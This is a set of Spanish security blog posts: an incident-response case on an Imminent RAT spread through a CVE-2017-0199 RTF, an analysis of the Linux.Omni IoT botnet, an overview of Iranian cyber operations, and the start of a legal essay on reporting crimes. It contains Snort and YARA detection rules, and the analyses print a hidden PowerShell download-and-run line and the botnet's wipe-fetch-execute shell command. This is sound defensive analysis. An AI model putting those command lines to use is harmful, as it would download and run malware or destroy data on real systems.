No tenemos toda la foto, pero ya hemos obtenido dos dominios de contacto de interés: a.doko[.]moe y dankleo01.chickenkiller[.]com (www.iptrackeronline.com lo descartamos porque probablemente sea una prueba de conexión del malware para comprobar que tiene conectividad a Internet, no siendo malicioso en sí mismo).   El hecho de que el punto 4 se contradiga con el 6,7 viene dado a que la información viene de distintas fuentes (y posiblemente en el punto 4 el malware haya reconocido la sandbox y no se haya ejecutado correctamente).

Contención, erradicación y recuperación

En este momento el análisis básico está realizado, por lo que podemos pasar a la fase de contención y erradicación del incidente. De la fase de detección y análisis tenemos los siguientes IOC de interés:

• Correo con asunto: “Factura urgente por material de cocina”
• Correo con remitente: newmasterchef@protonmail.com
• Correo con el adjunto: “Purchase Order 03EDG.doc
• Contacto con el dominio: a.doko[.]moe
• Contacto con el dominio: dankleo01.chickenkiller[.]com

Los IOC relacionados con el correo pueden ser cruzados con los logs de la pasarela de correo, y nos indican que 124 usuarios de la Organización han recibido el correo malicioso. Los IOC relacionados con los dominios pueden ser buscados en los logs del proxy de navegación, revelando que 6 usuarios han abierto el documento. La concienciación de seguridad de los usuarios ha mejorado sensiblemente (han picado solo un 5%, un dato razonable), pero aún parece necesario reforzar las bases a algunos usuarios (posiblemente estos usuarios sean invitados a un campo de reacondic… quiero decir a otro curso de concienciación en ciberseguridad).

Las medidas a tomar para la contención son sencillas:

1. Bloquear los dominios en el proxy o en el cortafuegos para impedir cualquier progresión del malware
2. Avisar a los usuarios para que no abran el correo malicioso y que lo borren de sus buzones de correo (en algunos casos los administradores de sistemas podrían hasta borrarlos de los buzones desde el propio servidor de correo).

Si realizamos un análisis del TLD .moe comprobamos con asombro que no es una referencia a los Simpsons sino un término de jerga japonesa relacionado con el anime y el manga. Y para más inri, el dominio .doko.moe es un servicio hawaiano de almacenamiento gratuito de ficheros, perfecto para que un atacante deje sus payload maliciosos.

Dado que no parece probable que los dominios .moe sean críticos para el funcionamiento de la Organización, proponemos su bloqueo completo. De forma adicional, podemos crear unas reglas básicas de Snort/Suricata para su detección:

alert tcp any any -> any 80,443 (msg:"Malware Cryptostealer HTTP/HTTPS doko.moe";classtype:trojan-activity; content:"doko.moe"; sid:666666667; rev:1; )
alert udp any any -> any 53 (msg:"Malware Cryptostealer DNS doko.moe"; flow:to_server; content:"|04|doko|03|moe"; classtype:trojan-activity; sid:666666668; rev:1; )

Copiamos estas reglas en el fichero /etc/Snort/rules/rules/local.rules, y comprobamos que no tenemos errores de sintaxis verificando la configuración con:

# snort -T -i eth0 -c /etc/snort/snort.conf

Si no hay errores, reiniciamos Snort para que aplique de nuevo la configuración:

# service snort restart

Y le pasamos a Snort el .pcap que hemos capturado previamente aquí:

# snort -i eth0 -c /etc/snort/snort.conf -r /home/remnux/sandbox/labo_dfir.pcapng -l /tmp -A fast

Si todo ha ido bien, tendríamos que tener estos resultados en el fichero /tmp/alert :

04/07-04:43:45.764408  [**] [1:666666668:1] Malware Cryptostealer DNS doko.moe [**] [Classification: A Network Trojan was Detected] [Priority: 1] {UDP} 192.168.25.128:59223 -> 192.168.25.2:53
04/07-04:43:45.886443  [**] [1:666666667:1] Malware Cryptostealer HTTP/HTTPS doko.moe [**] [Classification: A Network Trojan was Detected] [Priority: 1] {TCP} 192.168.25.128:49168 -> 185.83.215.16:443
04/07-04:43:47.738537  [**] [1:666666667:1] Malware Cryptostealer HTTP/HTTPS doko.moe [**] [Classification: A Network Trojan was Detected] [Priority: 1] {TCP} 192.168.25.128:49172 -> 185.83.215.16:443
04/07-04:43:53.321598  [**] [1:666666668:1] Malware Cryptostealer DNS doko.moe [**] [Classification: A Network Trojan was Detected] [Priority: 1] {UDP} 192.168.25.128:63047 -> 192.168.25.2:53
04/07-04:43:53.411079  [**] [1:666666667:1] Malware Cryptostealer HTTP/HTTPS doko.moe [**] [Classification: A Network Trojan was Detected] [Priority: 1] {TCP} 192.168.25.128:49173 -> 185.83.215.16:443

Podemos también crear una regla de YARA para detectar nuevos adjuntos maliciosos. Si editamos el RTF podemos comprobar que tiene una cadena bastante característica (la que identifica el objeto OLE malicioso que suele tener el exploit):

Una regla muy sencilla (que habría que evaluar a la hora de los falsos positivos que puede generar) podría ser esta:

rule rtf_objdata_cve_2017_0199 {
 strings:
 $header = "{\\rtff"
 $objdata = "\\object\\objautlink\\objupdate\\objw5816\\objh6097{\\*\\objdata" nocase
 condition:
 $header at 0 and $objdata  
 }

Guardamos este fichero con el nombre “cve-2017-0199.yar” y podemos comprobar si detectamos correctamente el malware con nuestra regla con el comando:

# yara -smg cve-2017-0199.yar /home/remnux/malware/Purchase\ Order\ 03EDG.doc

Las buenas prácticas en lo referente a la erradicación en un incidente suelen ser muy simples: “Nuke it from orbit” (la teniente Ripley SIEMPRE tiene razón). A menos que se tenga totalmente claro qué tipo de malware está afectando los equipos (y realizar así una eliminación quirúrgica), la opción más segura es el formateo de los equipos y su reinstalación.

La recuperación en este caso sería sencilla: reinstalación del equipo + restauración de las copias de seguridad pertinentes.

Sin embargo, nos siguen quedando algunas preguntas por resolver… que atacaremos en el siguiente y último artículo.

La entrada Caso práctico: “RATas inminentes” (II) aparece primero en Security Art Work.

Análisis adicional

El incidente quedó prácticamente resuelto en el artículo anterior, pero nos quedan todavía algunas dudas en el tintero:

• ¿Qué acciones ha realizado el malware en el sistema?
• ¿Qué tipo de malware es?

Para salir de dudas ejecutamos el documento en una máquina virtual especialmente tuneada con medidas anti-anti-VM, que además tiene Noriben y Sysmon instalado. Adicionalmente capturamos el tráfico saliente con WireShark para tener una visión lo más completa posible de lo que hace el malware.

[Nota: Puedes descargarte los resultados de las tres herramientas aquí].

Aquí tenéis un resumen de lo más relevante de la actividad del malware visto por Noriben:

1. 1. Observamos cómo se lanza Word:

      CreateProcess	WINWORD.EXE	3744	%ProgramFiles%\Microsoft Office\Office14\WINWORD.EXE  /Embedding

   2. Word realiza una conexión TLS contra a[.]doko[.]moe:

      Network TCP Send	WINWORD.EXE 3744 185.83.215.16:443

   3. Word crea el .hta en un directorio temporal:

      CreateFile	WINWORD.EXE	3744	%LocalAppData%\Microsoft\Windows\Temporary Internet Files\Content.IE5\Z5QR0F05\svqxtm[1].hta
      

   4. El .hta es ejecutado por mshta.exe, y se observa una conexión adicional a a[.]doko[.]moe. Se lanza una instancia de powershell.

      CreateProcess mshta.exe	1236	"%WinDir%\system32\cmd.exe 
      PoWerSHEll.exE -EX ByPASs -noP -w hIdDeN	 (NeW-oBJEcT SySTEm.NeT.wEbcLIenT).DownLOADfIlE('https://a[.]doko[.]moe/gabkrj[.]jpg')
      Network TCP Send	mshta.exe	1236	185.83.215.16:443
      

   5. El script crea el fichero “test 02.exe”, se conecta de nuevo con el dominio a.doko.moe y lo lanza.

      CreateFile powershell.exe	3456	%LocalAppData%\Temp\test 02.exe
      Network	TCP Send	powershell.exe	3456	185.83.215.16:443
      CreateProcess	powershell.exe 3456 %LocalAppData%\Temp\test 02.exe 
      

   6. El ejecutable “test 02.exe” crea el fichero vfggggg.exe y lo lanza a través de una instancia de explorer.exe

      CreateFile test 02.exe	1392	%AppData%\vfggggg.exe
      CreateProcess test 02.exe 1392 %WinDir%\System32\explorer.exe /c select
      CreateProcess explorer.exe	1132	%AppData%\vfggggg.exe 
      

   7. El malware crea una persistencia en el registro y crea los directorios en los que va a almacenar la información que registra la función de keylogger:

      RegSetValue	vfggggg.exe	3208	HKCU\Software\Microsoft\Windows\CurrentVersion\Run\dttrgsdcd
      CreateFile	vfggggg.exe	2072	%AppData%\Imminent\Monitoring\network.dat
      CreateFile	vfggggg.exe	2072	%AppData%\Imminent\Monitoring\system.dat
      

En este caso no tenemos conexiones con el segundo dominio (posiblemente por haber detenido Noriben antes de tiempo). Wireshark (que ha estado ejecutándose durante más tiempo) sí que nos muestra contacto contra el dominio dankleo01[.]chickenkiller[.]com:

Sysmon corrobora con todo lujo de detalles (sobre todo con los EventID 1,3 y 11, correspondientes a la creación de procesos, conexiones de red y ficheros) la información que nos ha facilitado Noriben.

En cuanto al tipo de malware, sin tener que entrar en el reversing una búsqueda en Internet por algunas cadenas características nos permite encontrar la siguiente información:

https://www.safer-networking.org/2017/manual-removal-guide-for-rat-imminent-2/

https://itsjack.cc/blog/2016/01/imminent-monitor-4-rat-analysis-a-glance/

https://itsjack.cc/blog/2016/03/imminent-monitor-4-rat-analysis-further-into-the-rat/

https://imminentmethods.net/purchase/

Al parecer nuestro malware es un RAT (Remote Administration Tool), una herramienta que permite al atacante tomar el control de nuestro equipo. Según la empresa que lo vende (en nuestro caso al 99% será una versión pirateada) Imminent permite entre otras cosas extraer las contraseñas de diversos navegadores, grabar con la webcam o hacer de keylogger.

Solo nos queda comprobar que el problema se resuelve aplicando el parche correspondiente (en nuestro caso, el KB3178710). Lo instalamos en nuestra máquina virtual y volvemos a replicar la ejecución del documento malicioso.

[Nota: Puedes descargarte los resultados de las tres herramientas con el parche aplicado aquí].

Con el equipo parcheado … ¡se sigue produciendo la conexión a a[.]doko[.]moe! ¿¡WTF!? Podemos comprobar que no existe la segunda conexión a chickenkiller[.]com, y que no se lanza realmente el Powershell. Sin embargo, sí que se produce la descarga del .hta

Para encontrar una respuesta a este enigma tenemos que indagar sobre el funcionamiento del exploit. En este artículo de nuestros compañeros de HackPlayers lo explican a la perfección:

http://www.hackplayers.com/2017/04/explotacion-practica-de-cve-2017-0199.html

Si os fijáis en el paso 6, los atacantes han modificado el RTF para que añadir la cadena “objupdate”:
 \\object\\objautlink\\objupdate\\objw5816

El control objupdate es muy sibilino, ya que implica que el objeto tiene que actualizarse antes de mostrarse. Y dado que el contenido está en un enlace externo, genera la conexión (y de forma independiente a interacción alguna por parte del usuario como extra bonus). En este caso la conexión genera la descarga del .hta, que tenía que ser ejecutado por el exploit (que no ha podido explotar al estar la vulnerabilidad parcheada).

Lecciones aprendidas

El incidente ha sido ligero y ha terminado sin impacto para la Organización, pero nos ha dejado algunas lecciones de interés:

• El malware cada vez es más listo: ha logrado saltarse tanto el antivirus del servidor como el del equipo, y ha logrado esquivar el proxy y el cortafuegos con alegría torera.
• Los .hta no son necesarios en un 99.99% de los casos: bloquéalos con extremo prejuicio.
• Los parches son vitales para la salud de la IT de una Organización. Aplícalos con disciplina y no te dejes ni uno importante.
• Hay que concienciar a los usuarios. En muchos casos son la última línea de defensa de la Organización.
• Los parches vienen en tres sabores: individual, pack de seguridad y pack completo. Hay que revisar los tres antes de determinar si un parche está o no instalado.
• Los RTF los carga el diablo, y hacen cosas muy raras. Mucho ojo con ellos.

Un RAT, aunque sea viejuno, siempre es cosa seria. La vigilancia para que no entren ratas en tu Organización es necesaria, porque a nadie le gusta tener que “desRATizar”… ¡hasta la próxima!

La entrada Caso práctico: “RATas inminentes” (III) aparece primero en Security Art Work.

Siguiendo nuestra clasificación y análisis de las amenazas Linux e IoT activas en la actualidad, en el presente artículo vamos a indagar en un malware detectado muy recientemente en nuestros honeypots, la botnet Linux.Omni. Dicha botnet nos ha llamado particularmente la atención debido a las numerosas vulnerabilidades incluídas en su repertorio de infección (11 diferentes en total), pudiendo determinar, finalmente, que se trata de una nueva versión de IoTReaper.

Análisis del binario

Lo primero que nos llama la atención es la etiqueta que se da el malware en el momento de la infección del dispositivo, es decir, OMNI, pues estas últimas semanas estábamos detectando OWARI, TOKYO, SORA, ECCHI… todas ellas versiones de Gafgyt o Mirai y, que poco innovan respecto a lo reportado en artículos anteriores.

Así pues, analizando el método de infección, encontramos las siguientes instrucciones:

Tal y como se puede observar, es un script bastante estándar y, por tanto, importado de otra botnet. Nada nuevo.

A pesar de que todo apuntaba a que la muestra se trataría de una variante estándar de Mirai o Gafgyt, llevamos a cabo la descarga de la muestra.

Lo primero que detectamos es que el binario se encuentra empaquetado con UPX. No está aplicado en la mayoría de muestras, pero no es nada raro observarlo en algunas variantes de botnets más extendidas.

Tras examinar por encima nuestro binario, encontramos que la estructura básica del binario corresponde a Mirai.

Sin embargo, en cuanto exploramos la opciones de infección del binario, encontramos vectores de ataque que, además de la utilización de las credenciales por defecto para su difusión, utiliza vulnerabilidades de dispositivos IoT ya descubiertas e implementadas en otras botnets como IoTReaper o Okiru/Satori, incluso la reciente que afecta a los routers GPON.

Vamos a examinar cuales son estas vulnerabilidades de las que hace uso Omni:

Vacron

Vulnerabilidad que hace uso de la inyección de código en los grabadores de video en red VACRON en el parámetro “board.cgi”, el cual no ha sido bien depurado en el parseo de peticiones HTTP. También la pudimos encontrar en la botnet IoTReaper.

Netgear – CVE-2016-6277

Otra de las vulnerabilidades encontrada en Omni es el CVE-2016-6277, la cual describe la ejecución remota de código a través de una petición GET al directorio “cgi-bin/” de los routers vulnerables. Éstos, son los siguientes:

R6400                         R7000
R7000P           R7500
R7800                         R8000
R8500                         R9000

D-Link – OS-Command Injection via UPnP

Al igual que IoTReaper, Omni utiliza una vulnerabilidad de los routers Dlink; sin embargo, mientras que la primera hacía uso de una vulnerabilidad en el overflow de una cookie el parámetro hedwig.cgi, ésta utiliza una vulnerabilidad a través de la interfaz UPnP.

La petición es la siguiente:

Y la podemos encontrar en el binario:

Las versiones del firmware vulnerables son las siguientes:

DIR-300 rev B – 2.14b01
DIR-600 – 2.16b01
DIR-645 – 1.04b01
DIR-845 – 1.01b02
DIR-865 – 1.05b03

CCTV-DVR 

Otra vulnerabilidad encontrada en el malware es la que afecta a más de 70 fabricantes diferentes y vinculada al recurso “/language/Swedish”, la cual permite la ejecución remota de código.

La lista de dispositivos vulnerables se puede encontrar aquí:

http://www.kerneronsec.com/2016/02/remote-code-execution-in-cctv-dvrs-of.html

D-Link – HNAP

Ésta es una vulnerabilidad reportada en 2014 y la cual ha sido ya utilizada por el malware The Moon, la cual permite el bypass del login a través del CAPTCHA y permite a un atacante externo la ejecución remota de código.

Las versiones de firmware vulnerables en los routers D-Link, son los siguientes:

DI-524 C1 3.23
DIR-628 B2 1.20NA 1.22NA
DIR-655 A1 1.30EA

TR-069 – SOAP

Esta vulnerabilidad ya fue explotada por la botnet Mirai en noviembre de 2016, la cual provocó la caída del ISP Deutsche Telekom.

La vulnerabilidad es la siguiente:

También la podemos encontrar en el binario.

Huawei Router HG532 – Arbitrary Command Execution

Vulnerabilidad detectada en los routers Huawei HG532 en la incorrecta validación de un fichero de configuración, la cual puede ser explotada a través de la modificación de una petición HTTP.

Esta vulnerabilidad ya fue detectada como parte del malware Okiru/Satori y analizada en un artículo anterior (http://www.securityartwork.es/2017/12/18/analisis-linux-okiru/)

Netgear – Setup.cgi RCE

Vulnerabilidad que afecta al firmware DGN1000 1.1.00.48 de los routers Netgear, la cual permite la ejecución remota de código sin autenticación previa.

Realtek SDK

Diferentes dispositivos utilizan el SDK de Realtek con el demonio miniigd vulnerable a la inyección de comandos a través de la interfaz SOAP de UPnP. Esta vulnerabilidad, del mismo modo que la mencionada anteriormente relativa a routers Huawei HG532, ya la pudimos encontrar en muestras de la botnet Okiru/Satori.

GPON

Finalmente, encontramos la vulnerabilidad de moda este último mes, la cual afecta a los routers GPON y ya incorporada tanto a botnets IoT como a mineros que afectan a servidores Linux.

Por otra parte, la botnet también hace uso de la difusión a través de las credenciales por defecto (vía por la que nuestro sistema honeypot fue infectado), aunque éstas se encuentran codificadas con una clave XOR diferente a la 0x33 (habitual en la forma base) donde cada una de las combinaciones ha sido codificada con una clave diferente.

Análisis de la infraestructura

A pesar de la variedad en los vectores de ataque, los comandos ejecutados sobre el dispositivo son los mismos:

cd /tmp;rm -rf *;wget http://%s/{marcaDispositivo};sh /tmp/{marcaDispositivo}

El archivo descargado es un script en bash, el cual descarga la muestra según la arquitectura del dispositivo infectado.

Tal y como podemos observar, este exploit no corresponde con la muestra analizada, sino que únicamente está dedicado a la búsqueda de dispositivos con interfaces HTTP potencialmente vulnerables, así como el chequeo de la vulnerabilidad de credenciales por defecto, obteniendo así dos tipos de infecciones, aquella que utiliza las 11 vulnerabilidades anteriormente expuestas y aquella que únicamente se dedica a reportar la existencia de servicios HTTP expuestos o credenciales por defecto en objetivos potenciales.

Por tanto, la arquitectura es muy similar a la encontrada anteriormente en la botnet IoTReaper.

Detrás de Omni

Investigando las referencias en los binarios encontramos la dirección IP 213.183.53[.]120, la cual es referenciada como servidor de descarga de las muestras. A pesar de no encontrar un directory listing disponible (en otras variantes es bastante habitual encontrarlo), en el directorio raíz encontramos una plataforma “Discord”, la cual es (oficialmente) un chat de texto y voz para el público gamer.

Así pues, visto que no requería de permisos o invitación especial, decidimos escoger un nombre megahacker, y entrar en el chat.

Una vez dentro, observamos que la temática general del chat, no son los videojuegos, sino una plataforma para la venta de los servicios de la botnet.

Tras un par de minutos en la sala, ya se deduce que, la persona que está detrás de la infraestructura es el usuario Scarface, el cual ha decidido hacerse unos carteles de publicidad bastante molones (y acordes con la estética del film homónimo).

Además, también ofrece soporte, así como solicitudes de potenciales consumidores que solicitan evidencias de que su botnet es capaz de conseguir un volumen de tráfico de 60 Gbps.

Podemos encontrar comportamientos bastante curiosos y que denotan la poca profesionalidad por parte del este grupo de ciberdelincuentes, por ejemplo cómo Scarface muestra el beneficio que lleva obtenido con la botnet (y lo ridículo de la cantidad) o cómo temen que cualquiera de los que hayan entrado en el chat sean policías.

Así pues, podemos determinar que el malware Linux.Omni es una versión actualizada del malware IoTReaper, la cual utiliza el mismo formato de arquitectura de red, además de importar, prácticamente, todo el código fuente de Mirai.

Adjuntamos la regla Yara para la detección del malware Linux.Omni:

IoC

213.183.53[.]120
21aa9c42b42e95c98e52157fd63f36c289c29a7b7a3824f4f70486236a2985ff
4cf7e64c3b9c1ad5fa57d0d0bbdeb930defcdf737fda9639955be1e78b06ded6
6dfd411f2558e533728bfb04dd013049dd765d61e3c774788e3beca404e0fd73
000b018848e7fd947e87f1d3b8432faccb3418e0029bde7db8abf82c552bbc63
5ad981aefed712909294af47bce51be12524f4b547a63d7faaa40d3260e73235
31a2779c91846e37ad88e9803cbad8f8931e3229e88037f1d27437141ecbd164
528344fd220eff87b7494ca94caed6eae7886d8003ad37154fdb7048029e880b
cfca058a4d0a29b3da285a5df21b14c360fb3291dff3c941659fe27f3738ba3e
2b32375864d0849e676536b916465a1fbb754bbdf783421948023467d364fb4c
700c9b51e6f8750a20fcc7019207112690974dcda687a83626716d8233923c17
feb362167c9251dd877a0d76d3b42b68fcd334181946523ca808382852f48b7d
ca6bc4e4c490999f97ee3fd1db41373fc0ba114dce2e88c538998d19a6f694da
fc4cfc6300e3122ef9bbe6da3634d3b9839e833e4fc2cea8f1498623398af015
0fd93aeb2af3541daa152d9aff8388c89211b99d46ead1220c539fa178543bca
02a61e1d80b1f25d161de8821a31cd710987772668ce62c8be6d9afabe932712
377a49403cef46902e77ff323fcc9a8f74ea041743ccdbff41de3c063367c99a
812aa39075027b21671e5a628513378c598aef0feb57d0f5d837375c73ade8e8
c9caccd707504634185ee2a94302e3964fb6747963e7020dffa34de85bd4d2ce
a159c7b5d2c38071eb11f5e28b26f7d8beaf6f0f19a8c704687f26bfa9958d78
5eb7801551ee15baec5ef06b0265d0d0cc8488f16763517344bb8456a2831b82
2f1d0794d24b7b4f164ebce5bdde6fccd57cdbf91ea90ec2f628caf7fd991ce4

La entrada Análisis de Linux.Omni aparece primero en Security Art Work.

En el post de hoy continuamos con nuestra saga de (Cyber) Guerra Fría en la que para esta cuarta entrada nos situamos en Irán, un país de actualidad.

Contexto geoestratégico y político

Geoestratégicamente es destacable la rivalidad histórica latente entre Irán y Arabía Saudita que muchos asemejan a lo que fuera la Guerra Fría entre Estados Unidos y la (ex)Unión Soviética. Como en muchas rivalidades en esta zona del mundo, las diferencias religiosas juegan un factor crucial (Irán es mayoritaríamente chiíta y Arabia Saudita sunita), y a ésto hay que sumarle que ambos paises se encuentran enfrascados en una lucha por el dominio regional del territorio intentando hacerse con un control sobre un corredor terrestre hacia el Mediterráneo. Además hay añadir la inestabilidad política que se generó en la región a raíz de la Primavera Árabe y por supuesto los intereses en la zona de las grandes potencias y demás tensiones socio políticas . Tal y como se observa en el mapa, Arabía Saudita estaría apoyada por los países marcados y contaría con el apoyo de USA e Israel.

Recientemente Irán ha saltado a la palestra por la retirada por parte del gobierno de Trump del  acuerdo nuclear JCPOA (Joint Comprehensive Plan of Action), acuerdo por el que Irán se comprometía a limitar su polémico programa de energía atómica y a cambio se le levantarían las sanciones económicas impuestas, se le permitía reanudar sus exportaciones de petróleo a mercados internacionales y -entre otras muchas acciones- retomar el uso del sistema financiero de comercio global. Tras la ruptura con este acuerdo nos encontramos ante una situación de previsible presión económica contra Irán y algunos investigadores ya apuntan a que en los próximos meses veremos represalias por parte de Irán contra Occidente, incluidas operaciones ofensivas en el ciberespacio.

Operaciones ofensivas en el ciberespacio atribuídas a Irán

Antes de entrar en las capacidades ofensivas de Irán recordemos que históricamente este país ha sido uno de los grandes objetivos de muchas APT. En 2015 analizamos esta situación mi compañero Antonio Sanz y yo en un paper sobre la madurez de las cibercapacidades de los principales actores de Oriente Medio que les invito a consultar si lo desean. A la mayoría de las grandes potencias del mundo se les han atribuído campañas entre cuyos objetivos estaba Irán; así a USA se le ha atribuído Stuxnet (2010), Duqu (2011), Flame/miniFlame (2012), Regin (2014), Equation (2015), etc., todas ellas con intereses en Irán. A Rusia se le han atribuido campañas también centradas en este país como Turla, Epic Turla o Black Energy de 2014, etc. E incluso a la Unión Europea se le han atribuido campañas en la zona como Animal Farm (2015) o Careto (2014).

Analicemos ahora algunas de las últimas operaciones ofensivas que más repercusión han tenido y que han sido atribuidas a Irán en los últimos años trazando una línea histórico-temporal.

Aparecen dos tipos de campañas, unas centradas en represalias como pueden ser ataques de denegación de servicio, o directamente distribución de malware de tipo wiper con el objetivo de dañar las infraestructuras TI de los objetivos. Por otro lado campañas APT más sofisticadas centradas en espionaje a objetivos de interés. Como se observa a continuación, las campañas de tipo espionaje han ido tomando más protagonismo en los últimos años.

En general a los grupos que operan supuestamente patrocinados por Irán como son APT33, APT34, APT35, se le atribuyen diferentes campañas sofisticadas y metódicas con el objetivo de exfiltración de información de inteligencia estratégica de contratistas de su área de interés como USA, Arabia Saudita o Israel, compañías energéticas en Oriente Medio o redes de investigacion universitaria. También se habla mucho del ICA (Iranian Cyber Army) como grupo conectado al gobierno de Irán y al que se le atribuyen numerosas operaciones en el ciberespacio. El ICA, según algunas fuentes, sería una rama dentro de Islamic Revolutionary Guard Corps (IRGP) al que según algunas fuentes israelíes en 2013 ya se le situaba como la cuarta potencia cibernética del mundo. Algunas fuentes informan que el Iranian Cyberarmy se encarga de las operaciones cibernéticas más complejas y sofisticadas, dado el alto grado de preparación de sus integrantes, y la Basij Paramilitary Force, fuerza paramilitar formada por voluntarios subordinada a la IRGC, se encargaría de operaciones cibernéticas más básicas.

Es un hecho que Irán a día de hoy es uno de los actores predominantes en la zona en cuanto a operaciones ofensivas atribuídas. Esta dominación  tiene su razón al ser por un lado el país más afectado de la zona por APTs y por otro al ser un estado que tiene la capacidad de asignar recursos al desarrollo de cibercapacidades, bien sean de fabricación propia o a través de contratistas. Después del episodio Stuxnet en Irán, el gobierno decidió priorizar sus capacidades en el ciberespacio, destinando un gran presupuesto para tal fin, incorporando a sus filas a integrantes de conocidos grupos de hackers y contratando empresas especializadas en ciberseguridad para que impartieran formación entre sus miembros. De hecho con Operation Cleaver se pone en evidencia del potencial técnico y gran capacidad de recursos del que dispondría el ciberejército iraní por entonces.

Si analizamos los diversos ciberataques podemos observar que hay una cierta evolución en los métodos empleados. Se comienza con ataques de denegación de servicio y el uso de RATs (Remote Access Tools o Herramientas de Acceso Remoto) y se pasa al uso de ingeniería social, al desarrollo de técnicas de movimiento lateral, mantenimiento de persistencia, discrección y al intento de explotar infraestructuras críticas.

Investigaciones recientes (Recoded Future)

La empresa Recorded Future  incorpora un análisis sobre Irán en un informe de publicación muy reciente y que además recoge datos sobre una investigación que han llevado a cabo junto con Insikt Group basada en entrevistas a hackers/exhackers iraníes y a un análisis de tráfico relacionado con instituaciones afiliadas al gobierno iraní durante los meses de marzo y abril de este mismo año.

Según el informe las instituciones académicas de Irán juegan un papel clave en las operaciones ciberofensivas del país, en concreto se menciona a:

• Iran’s Cyberspace Research Institute (CSRI), vinculado a Shahid Beheshti University (SBU)

Como se observa en la imagen anterior el Mabna Institute (del que hablaremos mas tarde) estaría vinculado al CSRI.

• Iman Hossein University (IHU), fundada por IRGC

Bien, en el informe de Recorded Future se expone que entre los días 4 y 9 de abril de 2018 se produjo a través de conexiones SSH una transferencia de un gran volumen de datos entre las redes del CSRI y redes universitarias y gubernamentales de España. De igual forma también afirman detectar intercambio de grandes volúmenes de datos con el IHU. Si bien existe la posibilidad de acuerdos para intercambio de información con Irán, desde el propio informe se deja entrever que podría tratarse de algún tipo de compromiso.

También se identifica interacción entre el CSRI y la empresa Ravand Cybertech . Esta empresa está sita en Canadá pero con parte de su plantilla iraní (solo hay que echar un vistazo a Linkedin). Investigando también nos encontramos a Ravand Tazeh Inc., compañía de nombre similar a la mencionada en el informe de Recorded pero si situada en Irán y que si nos remontamos al informe en 2015 del American Enterprise Institute Critical Threats Project y Norse Corporation ya viene mencionada como una compañia asociada a la canadiense Ravand Cybertech.  Ravand Cybertech históricamente ha estado vinculada al gobierno iraní. Por ejemplo según aporta el Instituto de investigación de Medios del Medio Oriente (MEMRI) el portal de la conservadora agencia de noticias Fars, asociada con los círculos militares y a la presidencia iraní www.farsnews.com estaba alojada en  Ravand Cybertech. Numerosas investigaciones señalan esta relación entre las empresas Ravand y el gobierno.

Antecedentes: Caso Mabna Institute

A finales de Marzo, el FBI anunció que había detectado una campaña de ciberspionaje atribuida a Mabna Institute (acusan directamente a 9 personas), compañía iraní supuestamente contratada por el IRGC. Se afirma que durante al menos cuatro años universidades en mas de 20 países diferentes estuvieron comprometidas.

Acusados en la reciente operación Mabna

La vía de entrada principal podría haber sido a través de diversas campañas de spear phishing dirigidas fundamentalmente a profesores universitarios.

Conclusiones

El informe de Recorded Future nos alerta de un posible tráfico no legítimo entre redes universitarias españolas e instituciones iraníes, sin embargo nos falta información sobre si se trata de un compromiso o no.

Por otro lado, tras la publicación del FBI de la campaña de espionaje por parte del Mabna Institute en la que precisamente el target principal era el sector universitario, sería interesante contemplar la posibilidad de que las redes universitarias españolas también hubiesen sido objetivo y ese tráfico sospechoso que se menciona en el informe de Recorded Future sea parte de la misma campaña del Mabna. Por supuesto todo ésto, es una hipótesis.

Nuestra recomendación es ante la duda, revisar los SSH expuestos, las conexiones con los rangos mencionados anteriormente -sobre todo en los dos últimos meses-  y una política de contraseñas robusta, igual que la concienciación de nuestros empleados, desde adminsitradores de sistemas hasta profesores universitarios :)

Por último comentar que estaremos atentos ante las previsiones de USA y otras fuentes de que Irán incrementará su actividad ofensiva en el ciberespacio como represalía ante la ruptura del acuerdo nuclear. Mientras, si queréis ampliar información sobre este asunto os recomiendo el informe de Enero de 2018 “Iran’s Cyber Threat: Espionage, Sabotage, and Revenge” que se publicó desde el Carnegie Endowment for International Peace.

La entrada (Cyber) Guerra Fría IV: Irán aparece primero en Security Art Work.

Imaginemos que María es una analista forense que está trabajando en un caso de espionaje corporativo. Mientras está analizando unos ficheros comprimidos con unos nombres extraños, descubre horrorizada que están repletos de imágenes de pornografía infantil.

Imaginemos que Pepe es un pentester que tiene como objetivo hacerse con el control de un servidor de correo, teniendo que presentar como prueba correos de media docena de altos cargos. Una vez logrado su objetivo extrae varios correos al azar de las cuentas de correo, pero comprueba con indignación que contienen información sobre el soborno a un funcionario para la concesión de una importante contratación pública.

Tanto María como Pepe han firmado un estricto acuerdo de confidencialidad con la empresa en la que trabajan, en el que se especifica claramente que “toda la información de la que tengan conocimiento durante su actividad laboral debe ser mantenida en el más estricto secreto”.

Ante esta tesitura, se plantean los siguientes escenarios posibles:

1. Se presenta una denuncia ante las FCSE pertinentes. No se realizan acciones legales contra el técnico que la presenta.
2. Se presenta una denuncia antes las FCSE. El técnico se enfrenta a un posible despido y/o acciones legales desde la parte afectada.
3. No se presenta una denuncia, y el delito bien nunca sale a la luz, bien nadie sabe que el técnico tenía conocimiento del mismo.
4. No se presenta una denuncia y en un futuro el delito sale a la luz. Se descubre que el técnico tenía conocimiento del mismo.

Veamos lo que dice la legislación vigente al respecto. [Nota: el autor pretende hacer un resumen “digerible” de las leyes aplicables. Se recomienda leer los artículos íntegros de cada ley para tener una visión completa de todas las casuísticas posibles].

• La Ley de Enjuiciamiento Criminal (LeCr) especifica en sus artículos 259 a 269 que todos los ciudadanos tenemos la obligación de comunicar a las autoridades pertinentes cualquier delito que presenciemos o del que tengamos conocimiento, bajo pena de multa.
• El Código Penal especifica en el artículo 450 que si no impedimos la comisión de un delito grave (o la comunicamos a las autoridades pertinentes) incurrimos un delito de omisión de nuestro deber de impedir delitos o promover su persecución, castigado con penas de hasta dos años de cárcel.

Un matiz importante: existen tres tipos de delitos; privados, semipúblicos y públicos. Los privados son aquellos que solo se persiguen si el afectado se querella (por ej, calumnias e injurias). Los semipúblicos son aquellos que requieren de una denuncia por parte del agraviado (por ej, un abuso sexual o un delito contra la intimidad). Y los públicos son… todos aquellos que no sean ni privados ni semipúblicos. La LeCr solo nos obliga a denunciar los delitos públicos.

Siendo ciudadanos cumplidores de la ley como debiéramos, las opciones c) y d) no deberían siquiera tomarse en consideración. Está claro que en el escenario c), aunque el técnico esté incurriendo en un delito, no existen consecuencias legales (las implicaciones éticas y morales son particulares, y en ellas no vamos a meternos en este artículo).  Y no hay que olvidar que siempre existe la posibilidad de que se descubra el delito y la investigación haga que se produzca un caso d)…

El caso a) es quizás el más satisfactorio para el técnico: éste cumple con su deber y no existen consecuencias. Sin embargo, el caso b) es algo que nos preocupa a todos los técnicos: ¿qué sucede si la denuncia nos acarrea un problema?

